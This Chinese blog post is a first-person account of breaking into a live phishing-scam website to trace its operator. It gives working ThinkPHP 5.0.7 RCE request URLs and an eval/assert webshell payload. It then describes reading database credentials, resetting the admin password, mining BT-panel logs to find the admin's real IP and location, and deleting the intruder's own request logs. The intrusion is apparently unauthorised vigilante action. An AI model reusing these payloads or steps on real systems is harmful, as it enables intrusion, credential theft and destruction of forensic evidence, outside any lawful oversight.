渗透测试|对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

渗透测试|对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

246839cf369c3b8b411adf7fd11ee99b一个学长前几天不幸在钓鱼网站中招被骗走一些资金,在联系有关部门前找到了我看看能不能获取到一些有用的信息以便于有关部门行动
在对网站进行初步信息收集后发现网站使用ThinkPHP 5.0.7框架,直接找到ThinkPHP对应版本的Exp进行尝试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=phpinfo&vars[0]=1 //执行phpinfo
d92602b083ff279dabd77f3008a4bf8e
成功弹出phpinfo,ThinkPHP的RCE漏洞没有修复,并且通过phpinfo可以看出服务器使用宝塔搭建,运行Windows系统,本想着接下来的事情就非常简单了,但是当我写Shell时遇到了困难:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=ye.php&vars[1][]=<?php eval($_POST['cmd']);?>
文件被成功写入,但是却直接输出在了页面中,查看源代码发现< >被转义为了HTML实体编码:
6502f9b6947d398d273a5ba8a1705906
在尝试利用base64编码后再写入,发现依然被转义,直接命令执行试一试:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
发现并没有出现回显,尝试反弹Shell也无功而返,这个时候感觉到system可能被禁用了,改用eval依旧无果,最后使用assert发现可以成功执行,直接构造Shell连接:
http://www.hu*****.***/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_POST[ye])
得到Shell后先尝试执行命令,但是命令依旧无法正常执行,尝试突破disables_function但失败了
这个时候思路转换一下,查看ThinkPHP框架的服务器配置文件/application/database.php得到MySQL数据库账户
54337adfe2d7462bb7dc120e90fb3a7a
连接数据库:
5324d5d9ff7ba43b2b1155fb7c62817f
查询后台管理员数据:
b2bc3fdde0ae3dc0540a5756c6d47353
却发现md5无法解开,但是大致查看了数据库中的数据,到这里并没有发现什么有较大帮助的数据,因而并没有考虑继续死磕在后台账户上
接下来的主要重心应放在对于该站点管理员的信息收集上,先查看一下ThinkPHP框架中的日志记录文件/runtime/log/202107/05.log
在日志中发现system函数果然被禁用了:
3b215f12377ebb9bf87955faca430833
与此同时也在日志中发现了一条刚才检查数据库时忽略掉的重要数据——后台管理员最后登陆IP
551c2a89e2625a9f7ed68ef7cfa559d3
翻阅前几日记录发现最后登陆IP都是101.78.*.*这个IP地址,怀疑这就是网站管理员IP地址,反馈给学长后查询了一下该IP,发现是香港的IP,心里一慌:这应该是挂了V P N了吧
结果不出所料:
d21ca9a19f3a604dc19a43c68effe7d2
接下来的工作陷入了僵局,翻阅ThinkPHP的日志后并没有发现其他IP的登陆数据,修改数据库中后台管理员账户密码,登录后台后也没有发现任何有用的信息,只有一些钓鱼文章的管理:
71993cca8d368a224c81becf5f194a7f
后来和一个大师傅交流了一下,大师傅建议查一下看宝塔中有没有留下有用信息,在C:/BtSoft/panel/data/default.db中找到了宝塔面板的数据文件,获取到宝塔的账户信息:
afca65cf5d6aa78619bc969474878c9c
同时也查阅了一下宝塔数据库中的log日志内容:
3ce033fe6a524186925c024ab7cf7517
但是却无法解出密码,这时可以通过覆盖db文件重新设置账户密码,但该方法需要重启面板,受限于我们目前的情况,这个办法很难实现
于是思路再次陷入了僵局中,睡了一觉第二天醒来想起宝塔面板会有请求记录日志,于是在C:/BtSoft/panel/logs/request/中找到了大量以json形式储存的请求信息
c2692f2b3991306a6a4c50fbb1f9d214
打开时间较早的日志文件,果然有所突破(有可能是V P N不稳定,在操作时突然挂掉了,导致真实IP的泄漏):
6a948255f66e6d7fb18f264e400f5d5a
在查询175.167.*.* 后,发现是辽宁沈阳的IP地址,用网上的工具进行大致定位反馈给学长
顺带将网站的源码、数据库、log日志文件进行打包取证,一并收集起来,最后再删掉我们在渗透时留下的请求记录
f18774372722f12039ff1bb50c0dac52
完事收工e1e96219645d2c0658973305cfc640ec-2

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/3001

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月18日 下午11:12
下一篇 2022年1月20日 上午1:31

相关推荐

发表回复

您的电子邮箱地址不会被公开。